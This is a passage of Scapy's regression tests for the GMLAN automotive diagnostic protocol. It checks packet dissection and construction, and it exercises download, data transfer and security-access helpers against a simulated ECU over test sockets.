Packet for RDBI x = GMLAN(b'\x1A\x11') x.service == 0x1A x.dataIdentifier == 0x11 = Craft Packet for RDBIPR y = GMLAN(b'\x5A\x11deadbeef') y.service == 0x5A y.dataIdentifier == 0x11 y.load == b'deadbeef' y.answers(x) == True = Craft Packet for RDBPI x = GMLAN(b'\x22\x11\x11\x22\x22\x33\x33\x44\x44\x55\x55\x66\x66\x77\x77\x88\x88\x99\x99') x.service == 0x22 x.identifiers[0] == 0x1111 x.identifiers[1] == 0x2222 x.identifiers[2] == 0x3333 x.identifiers[3] == 0x4444 x.identifiers[4] == 0x5555 x.identifiers[5] == 0x6666 x.identifiers[6] == 0x7777 x.identifiers[7] == 0x8888 x.identifiers[8] == 0x9999 = Craft Packet for RDBPIPR y = GMLAN(b'\x62\x11\x11deadbeef') y.service == 0x62 y.parameterIdentifier == 0x1111 y.load == b'deadbeef' y.answers(x) == True = Craft Packet for GMLAN_RDBPKTI1 x = GMLAN(b'\xAA\x01deadbeef') x.service == 0xAA x.subfunction == 0x01 x.request_DPIDs == [0x64, 0x65, 0x61, 0x64, 0x62, 0x65, 0x65, 0x66] = Craft Packet for GMLAN_RDBPKTI3 x = GMLAN(b'\xAA\x02deadbeef') x.service == 0xAA x.subfunction == 0x02 x.request_DPIDs == [0x64, 0x65, 0x61, 0x64, 0x62, 0x65, 0x65, 0x66] = Craft Packet for GMLAN_RDBPKTI4 x = GMLAN(b'\xAA\x03deadbeef') x.service == 0xAA x.subfunction == 0x03 x.request_DPIDs == [0x64, 0x65, 0x61, 0x64, 0x62, 0x65, 0x65, 0x66] = Craft Packet for GMLAN_RDBPKTI2 x = GMLAN(b'\xAA\x00') x.service == 0xAA x.subfunction == 0 = Build GMLAN_RDBPKTI1 x = GMLAN()/GMLAN_RDBPKTI(subfunction=1, request_DPIDs=[0x64, 0x65]) assert b"\xaa\x01de" == bytes(x) = Craft Packet for GMLAN_SA1 a = GMLAN(b'\x27\x01') a.service == 0x27 a.subfunction == 1 = Craft Packet for GMLAN_SA2 b = GMLAN(b'\x27\x02\xde\xad') b.service == 0x27 b.subfunction == 2 b.securityKey == 0xdead = Craft Packet for GMLAN_SAPR1 x = GMLAN(b'\x67\x02') x.service == 0x67 x.subfunction == 2 x.answers(b) ecu = Ecu() ecu.update(b) ecu.update(x) assert ecu.state.security_level == 2 = Craft Packet for GMLAN_SAPR2 x = GMLAN(b'\x67\x01\xde\xad') x.service == 0x67 x.subfunction == 1 x.securitySeed == 0xdead x.answers(a) = Craft Packet for GMLAN_DDM x = GMLAN(b'\x2c\x02dead') x.service == 0x2c x.DPIDIdentifier == 2 x.PIDData == b'dead' = Craft Packet for GMLAN_DDMPR y = GMLAN(b'\x6c\x02dead') y.service == 0x6c y.DPIDIdentifier == 2 y.answers(x) = Craft Packet for GMLAN_DPBA1 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 x = GMLAN(b'\x2D\x02\x02\x11\x11\x33') x.service == 0x2d x.parameterIdentifier == 0x202 x.memoryAddress == 0x1111 x.memorySize == 0x33 = Craft Packet for GMLAN_DPBA2 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 x = GMLAN(b'\x2D\x02\x02\x11\x11\x11\x33') x.service == 0x2d x.parameterIdentifier == 0x202 x.memoryAddress == 0x111111 x.memorySize == 0x33 = Craft Packet for GMLAN_DPBA3 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 x = GMLAN(b'\x2D\x02\x02\x11\x11\x11\x11\x33') x.service == 0x2d x.parameterIdentifier == 0x202 x.memoryAddress == 0x11111111 x.memorySize == 0x33 = Craft Packet for GMLAN_DPBAPR y = GMLAN(b'\x6D\x02\x02') y.service == 0x6d y.parameterIdentifier == 0x202 y.answers(x) = Craft Packet for GMLAN_RD1 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 x = GMLAN(b'\x34\x02\x11\x11') x.service == 0x34 x.dataFormatIdentifier == 0x2 x.memorySize == 0x1111 = Craft Packet for GMLAN_RD2 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 x = GMLAN(b'\x34\x02\x11\x11\x11') x.service == 0x34 x.dataFormatIdentifier == 0x2 x.memorySize == 0x111111 = Craft Packet for GMLAN_RD3 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 x = GMLAN(b'\x34\x02\x11\x11\x11\x11') x.service == 0x34 x.dataFormatIdentifier == 0x2 x.memorySize == 0x11111111 = Craft Packet for GMLAN_TD1 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 x = GMLAN(b'\x36\x02\x11\x11dead') x.service == 0x36 x.subfunction == 0x2 x.startingAddress == 0x1111 x.dataRecord == b'dead' = Craft Packet for GMLAN_TD2 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 x = GMLAN(b'\x36\x02\x11\x11\x11dead') x.service == 0x36 x.subfunction == 0x2 x.startingAddress == 0x111111 x.dataRecord == b'dead' = Craft Packet for GMLAN_TD3 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 x = GMLAN(b'\x36\x02\x11\x11\x11\x11dead') x.service == 0x36 x.subfunction == 0x2 x.startingAddress == 0x11111111 x.dataRecord == b'dead' = Craft Packet for WDBI x = GMLAN(b'\x3b\x11deadbeef') x.service == 0x3b x.dataIdentifier == 0x11 x.dataRecord == b'deadbeef' = Craft Packet for WDBIPR y = GMLAN(b'\x7b\x11') y.service == 0x7b y.dataIdentifier == 0x11 y.answers(x) = Craft Packet for RPSPR x = GMLAN(b'\xe2\x11') x.service == 0xe2 x.programmedState == 0x11 = Craft Packet for PM x = GMLAN(b'\xA5\x11') x.service == 0xA5 x.subfunction == 0x11 = Craft Packet for RDI x = GMLAN(b'\xA9\x11') x.service == 0xA9 x.subfunction == 0x11 = Craft Packet for RDI_BN x = GMLAN(b'\xA9\x80\x11\x22\x33') x.service == 0xA9 x.subfunction == 0x80 x.DTCHighByte == 0x11 x.DTCLowByte == 0x22 x.DTCFailureType == 0x33 = Craft Packet for RDI_BM1 x = GMLAN(b'\xA9\x81\x11') x.service == 0xA9 x.subfunction == 0x81 x.DTCStatusMask == 0x11 = Craft Packet for RDI_BM2 x = GMLAN(b'\xA9\x82\x11') x.service == 0xA9 x.subfunction == 0x82 x.DTCStatusMask == 0x11 = Craft Packet for NR x = GMLAN(b'\x7f\x11\x00\x11\x22') x.service == 0x7f x.requestServiceId == 0x11 x.returnCode == 0 x.deviceControlLimitExceeded == 0x1122 = Check not answers y = GMLAN(b'\x11deadbeef') x = GMLAN(b'\x7f\x10\x00\x11\x22') assert not x.answers(y) = Check answers 1 y = GMLAN(b'\x10deadbeef') x = GMLAN(b'\x7f\x10\x00\x11\x22') assert x.answers(y) = Set treat-response-pending-as-answer conf.contribs['GMLAN']['treat-response-pending-as-answer'] = False assert conf.contribs['GMLAN']['treat-response-pending-as-answer'] == False = Check response-pending is not considered as answer y = GMLAN(b'\x10deadbeef') x = GMLAN(b'\x7f\x10\x78\x11\x22') assert not x.answers(y) = Check response-pending is considered as answer conf.contribs['GMLAN']['treat-response-pending-as-answer'] = True assert conf.contribs['GMLAN']['treat-response-pending-as-answer'] == True y = GMLAN(b'\x10deadbeef') x = GMLAN(b'\x7f\x10\x78\x11\x22') assert x.answers(y) = Check hashret 1 print(y.hashret()) print(x.hashret()) y.hashret() == x.hashret() = Check answers 2 y = GMLAN()/GMLAN_SA(subfunction=1) x = GMLAN()/GMLAN_SAPR(subfunction=1) assert x.answers(y) = Check hashret 2 y.hashret() == x.hashret() = Check modifies ecu state ecu = Ecu() ecu.update(GMLAN(service="InitiateDiagnosticOperation")) ecu.update(GMLAN(service="InitiateDiagnosticOperationPositiveResponse")) assert ecu.state.session == 3 ecu.update(GMLAN(service="ReturnToNormalOperation")) ecu.update(GMLAN(service="ReturnToNormalOperationPositiveResponse")) assert ecu.state.session == 1 ecu.update(GMLAN(service="ProgrammingMode")) ecu.update(GMLAN(service="ProgrammingModePositiveResponse")) assert ecu.state.session == 2 ecu.update(GMLAN(service="DisableNormalCommunication")) ecu.update(GMLAN(service="DisableNormalCommunicationPositiveResponse")) assert ecu.state.communication_control == 1 ecu.update(GMLAN(service="ReturnToNormalOperation")) ecu.update(GMLAN(service="ReturnToNormalOperationPositiveResponse")) assert ecu.state.session == 1 = Craft GMLAN_DC req = GMLAN()/GMLAN_DC(CPIDNumber=0x11, CPIDControlBytes=b"\xbe\xefabc") assert bytes(req) == b"\xAE\x11\xbe\xefabc" req2 = GMLAN()/GMLAN_DC(CPIDNumber=0x12) assert bytes(req2) == b"\xAE\x12\x00\x00\x00\x00\x00" resp = GMLAN()/GMLAN_DCPR(CPIDNumber=0x11) assert bytes(resp) == b"\xEE\x11" assert resp.answers(req) assert not resp.answers(req2) = Dissect test GMLAN_DC req = GMLAN(b"\xAE\x14caffe") assert req.service == 0xAE assert req.CPIDNumber == 20 assert req.CPIDControlBytes == b"caffe" resp = GMLAN(b"\xEE\x14") assert resp.service == 0xEE assert resp.CPIDNumber == 20 assert resp.answers(req) assert resp.hashret() == req.hashret() = Logging tests def get_log(pkt): for layer in pkt.layers(): if not hasattr(layer, "get_log"): continue try: return layer.get_log(pkt) except TypeError: return layer.get_log.im_func(pkt) pkt = GMLAN()/GMLAN_RFRD(subfunction=1) log = get_log(pkt) assert len(log) == 2 assert log[1] == "readFailureRecordIdentifiers" assert log[0] == "ReadFailureRecordData" pkt = GMLAN()/GMLAN_RFRDPR(subfunction=1) log = get_log(pkt) assert len(log) == 2 assert log[1] == "readFailureRecordIdentifiers" assert log[0] == "ReadFailureRecordDataPositiveResponse" pkt = GMLAN()/GMLAN_RDBPI(identifiers=[5]) log = get_log(pkt) print(log) assert len(log) == 2 assert log[1] == '[OBD_EngineCoolantTemperature]' assert log[0] == "ReadDataByParameterIdentifier" pkt = GMLAN()/GMLAN_RDBPIPR(parameterIdentifier=5) log = get_log(pkt) print(log) assert len(log) == 2 assert log[1] == 'OBD_EngineCoolantTemperature' assert log[0] == "ReadDataByParameterIdentifierPositiveResponse" pkt = GMLAN()/GMLAN_RDBPKTI(subfunction=0) log = get_log(pkt) print(log) assert len(log) == 2 assert log[1] == 'stopSending' assert log[0] == "ReadDataByPacketIdentifier" pkt = GMLAN()/GMLAN_RMBA(memoryAddress=0) log = get_log(pkt) print(log) assert len(log) == 2 assert log[1] == '0x0' assert log[0] == "ReadMemoryByAddress" pkt = GMLAN()/GMLAN_RMBAPR(memoryAddress=0, dataRecord=b"deadbeef") log = get_log(pkt) print(log) assert len(log) == 2 assert log[1][0] == '0x0' assert log[1][1] == b'deadbeef' assert log[0] == "ReadMemoryByAddressPositiveResponse" pkt = GMLAN()/GMLAN_DDM(DPIDIdentifier=0, PIDData=b"deadbeef") log = get_log(pkt) print(log) assert len(log) == 2 assert log[1][0] == '0x0' assert log[1][1] == b'deadbeef' assert log[0] == "DynamicallyDefineMessage" pkt = GMLAN()/GMLAN_DDMPR(DPIDIdentifier=0) log = get_log(pkt) print(log) assert len(log) == 2 assert log[1] == '0x0' assert log[0] == "DynamicallyDefineMessagePositiveResponse" pkt = GMLAN()/GMLAN_DPBA(parameterIdentifier=0, memoryAddress=1, memorySize=3) log = get_log(pkt) print(log) assert len(log) == 2 assert log[1][0] == 0 assert log[1][1] == 1 assert log[1][2] == 3 assert log[0] == "DefinePIDByAddress" pkt = GMLAN()/GMLAN_DPBAPR(parameterIdentifier=0) log = get_log(pkt) print(log) assert len(log) == 2 assert log[1] == 0 assert log[0] == "DefinePIDByAddressPositiveResponse" pkt = GMLAN()/GMLAN_WDBI(dataIdentifier=0, dataRecord=b"deadbeef") log = get_log(pkt) print(log) assert len(log) == 2 assert log[1][0] == "0x0" assert log[1][1] == b"deadbeef" assert log[0] == "WriteDataByIdentifier" pkt = GMLAN()/GMLAN_WDBIPR(dataIdentifier=0) log = get_log(pkt) print(log) assert len(log) == 2 assert log[1] == "0x0" assert log[0] == "WriteDataByIdentifierPositiveResponse" pkt = GMLAN()/GMLAN_RDI(subfunction=0x80) log = get_log(pkt) print(log) assert len(log) == 2 assert log[1] == "readStatusOfDTCByDTCNumber" assert log[0] == "ReadDiagnosticInformation" pkt = GMLAN()/GMLAN_DC(CPIDNumber=0x80) log = get_log(pkt) print(log) assert len(log) == 2 assert log[1] == "0x80" assert log[0] == "DeviceControl" pkt = GMLAN()/GMLAN_DCPR(CPIDNumber=0x80) log = get_log(pkt) print(log) assert len(log) == 2 assert log[1] == "0x80" assert log[0] == "DeviceControlPositiveResponse" ================================================ FILE: test/contrib/automotive/gm/gmlanutils.uts ================================================ % Regression tests for gmlanutil ~ scanner + Configuration ~ conf = Imports from scapy.contrib.automotive import log_automotive from test.testsocket import TestSocket, cleanup_testsockets import logging ############ ############ + Load general modules = Load contribution layer load_layer("can", globals_dict=globals()) load_contrib("automotive.gm.gmlan", globals_dict=globals()) load_contrib("automotive.gm.gmlanutils", globals_dict=globals()) log_automotive.setLevel(logging.DEBUG) = Define test sockets isotpsock2 = TestSocket(GMLAN) isotpsock = TestSocket(GMLAN) isotpsock2.pair(isotpsock) ############################################################################## + GMLAN_RequestDownload Tests ############################################################################## = Positive, immediate positive response ecusimSuccessfullyExecuted = False started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN()/GMLAN_RD(memorySize=4) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False else: ecusimSuccessfullyExecuted = True ack = b"\x74" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_RequestDownload(isotpsock, 4, timeout=1) == True thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True = Negative, immediate negative response started = threading.Event() def ecusim(): isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) nr = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x22) isotpsock2.send(nr) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_RequestDownload(isotpsock, 4, timeout=1) == False thread.join(timeout=5) assert res = Negative, timeout assert GMLAN_RequestDownload(isotpsock, 4, timeout=0.01) == False ############################ Response pending = Positive, after response pending started = threading.Event() def ecusim(): isotpsock2.sniff(count=1, timeout=2, started_callback=started.set) pending = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78) isotpsock2.send(pending) ack = b"\x74" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_RequestDownload(isotpsock, 4, timeout=2) == True thread.join(timeout=5) assert res = Positive, hold response pending for several messages tout = 0.1 repeats = 4 started = threading.Event() def ecusim(): isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78) for i in range(repeats): isotpsock2.send(ack) time.sleep(tout) ack = b"\x74" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) starttime = time.time() # may be inaccurate -> on some systems only seconds precision result = GMLAN_RequestDownload(isotpsock, 4, timeout=repeats*tout+0.5) endtime = time.time() + 1 thread.join(timeout=5) assert result print(endtime - starttime) print(tout * (repeats - 1)) assert (endtime - starttime) >= tout * (repeats - 1) = Negative, negative response after response pending started = threading.Event() def ecusim(): isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pending = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78) isotpsock2.send(pending) nr = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x22) isotpsock2.send(nr) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_RequestDownload(isotpsock, 4, timeout=0.1) == False thread.join(timeout=5) assert res = Negative, timeout after response pending started = threading.Event() def ecusim(): isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pending = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78) isotpsock2.send(pending) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_RequestDownload(isotpsock, 4, timeout=0.1) == False thread.join(timeout=5) assert res = Positive, pending message from different service interferes while pending started = threading.Event() def ecusim(): isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pending = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78) isotpsock2.send(pending) wrongservice = GMLAN()/GMLAN_NR(requestServiceId=0x36, returnCode=0x78) isotpsock2.send(wrongservice) isotpsock2.send(pending) ack = b"\x74" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_RequestDownload(isotpsock, 4, timeout=0.1) == True thread.join(timeout=5) assert res = Positive, negative response from different service interferes while pending started = threading.Event() def ecusim(): isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pending = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x78) isotpsock2.send(pending) wrongservice = GMLAN()/GMLAN_NR(requestServiceId=0x36, returnCode=0x22) isotpsock2.send(wrongservice) isotpsock2.send(pending) ack = b"\x74" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_RequestDownload(isotpsock, 4, timeout=0.1) == True thread.join(timeout=5) assert res ################### RETRY = Positive, first: immediate negative response, retry: Positive started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True # negative requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN()/GMLAN_RD(memorySize=4) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False nr = GMLAN()/GMLAN_NR(requestServiceId=0x34, returnCode=0x22) # positive retry print("retry") requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(nr)) pkt = GMLAN()/GMLAN_RD(memorySize=4) print(requ) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x74" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_RequestDownload(isotpsock, 4, timeout=0.1, retry=1) == True thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True ############################################################################## + GMLAN_TransferData Tests ############################################################################## = Positive, short payload, scheme = 4 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000000, dataRecord=payload) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_TransferData(isotpsock, 0x40000000, payload, timeout=1) == True thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True = Positive, short payload, scheme = 3 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 3 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN() / GMLAN_TD(startingAddress=0x400000, dataRecord=payload) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_TransferData(isotpsock, 0x400000, payload, timeout=1) == True thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True = Positive, short payload, scheme = 2 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 2 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted = True requ = isotpsock2.sniff(count=1, timeout=2, started_callback=started.set) pkt = GMLAN() / GMLAN_TD(startingAddress=0x4000, dataRecord=payload) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_TransferData(isotpsock, 0x4000, payload, timeout=2) == True thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True = Negative, short payload conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) nr = GMLAN() / GMLAN_NR(requestServiceId=0x36, returnCode=0x22) isotpsock2.send(nr) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_TransferData(isotpsock, 0x40000000, payload, timeout=1) == False thread.join(timeout=5) assert res = Negative, timeout assert GMLAN_TransferData(isotpsock, 0x4000, payload, timeout=0.1) == False = Positive, long payload conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000000, dataRecord=payload*2) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x76" # second package with inscreased address requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000010, dataRecord=payload * 2) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_TransferData(isotpsock, 0x40000000, payload*4, maxmsglen=16, timeout=1) == True thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True # = Positive, first part of payload succeeds, second pending, then fails, retry succeeds conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" started = threading.Event() def ecusim(): isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = b"\x76" # second package with inscreased address isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pending = GMLAN() / GMLAN_NR(requestServiceId=0x36, returnCode=0x78) isotpsock2.send(pending) nr = GMLAN() / GMLAN_NR(requestServiceId=0x36, returnCode=0x22) isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(nr)) ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_TransferData(isotpsock, 0x40000000, payload*4, maxmsglen=16, timeout=0.1, retry=1) == True thread.join(timeout=5) assert res ############ = Positive, maxmsglen length check -> message is split automatically conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" ecusimSuccessfullyExecuted = True sim_started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True requ = isotpsock2.sniff(count=1, timeout=3, started_callback=sim_started.set) pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000000, dataRecord=payload*511+payload[:1]) if len(requ) == 0 or bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False return ack = b"\x76" # second package with inscreased address requ = isotpsock2.sniff(count=1, timeout=3, started_callback=lambda: isotpsock2.send(ack)) pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000FF9, dataRecord=payload[1:]) if len(requ) == 0 or bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False return ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.name = "EcuSimulator" + thread.name sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() sim_started.wait(timeout=5) res = GMLAN_TransferData(isotpsock, 0x40000000, payload*512, maxmsglen=0x1000000, timeout=8) == True thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True ############ Address boundary checks = Positive, highest possible address for scheme conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" started = threading.Event() def ecusim(): isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_TransferData(isotpsock, 2**32 - 1, payload, timeout=1) == True thread.join(timeout=5) assert res = Negative, invalid address (too large for addressing scheme) conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" started = threading.Event() def ecusim(): isotpsock2.sniff(count=1, timeout=0.1, started_callback=started.set) ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_TransferData(isotpsock, 2**32, payload, timeout=0.1) == False thread.join(timeout=5) assert res = Positive, address zero conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_TransferData(isotpsock, 0x00, payload, timeout=1) == True thread.join(timeout=5) assert res = Negative, negative address conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" started = threading.Event() def ecusim(): isotpsock2.sniff(count=1, timeout=0.1, started_callback=started.set) ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_TransferData(isotpsock, -1, payload, timeout=0.1) == False thread.join(timeout=5) assert res ############################################ + GMLAN_TransferPayload Tests ############################################ = Positive, short payload conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN()/GMLAN_RD(memorySize=len(payload)) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x74" requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pkt = GMLAN() / GMLAN_TD(startingAddress=0x40000000, dataRecord=payload) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x76" isotpsock2.send(ack) thread = threading.Thread(target=ecusim) sniff(timeout=0.01, opened_socket=[isotpsock, isotpsock2]) thread.start() started.wait(timeout=5) res = GMLAN_TransferPayload(isotpsock, 0x40000000, payload, timeout=1) == True thread.join(timeout=5) assert res assert ecusimSuccessfullyExecuted == True ############################################ + GMLAN_GetSecurityAccess Tests ############################################ = KeyFunction keyfunc = lambda seed : seed - 0x1FBE = Positive scenario, level 1, tests if keyfunction applied properly ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True # wait for request requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN()/GMLAN_SA(subfunction=1) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False seedmsg = GMLAN()/GMLAN_SAPR(subfunction=1, securitySeed=0xdead) # wait for key requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(seedmsg)) pkt = GMLAN()/GMLAN_SA(subfunction=2, securityKey=0xbeef) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False nr = GMLAN() / GMLAN_NR(requestServiceId=0x27, returnCode=0x35) isotpsock2.send(nr) else: pr = GMLAN()/GMLAN_SAPR(subfunction=2) isotpsock2.send(pr) 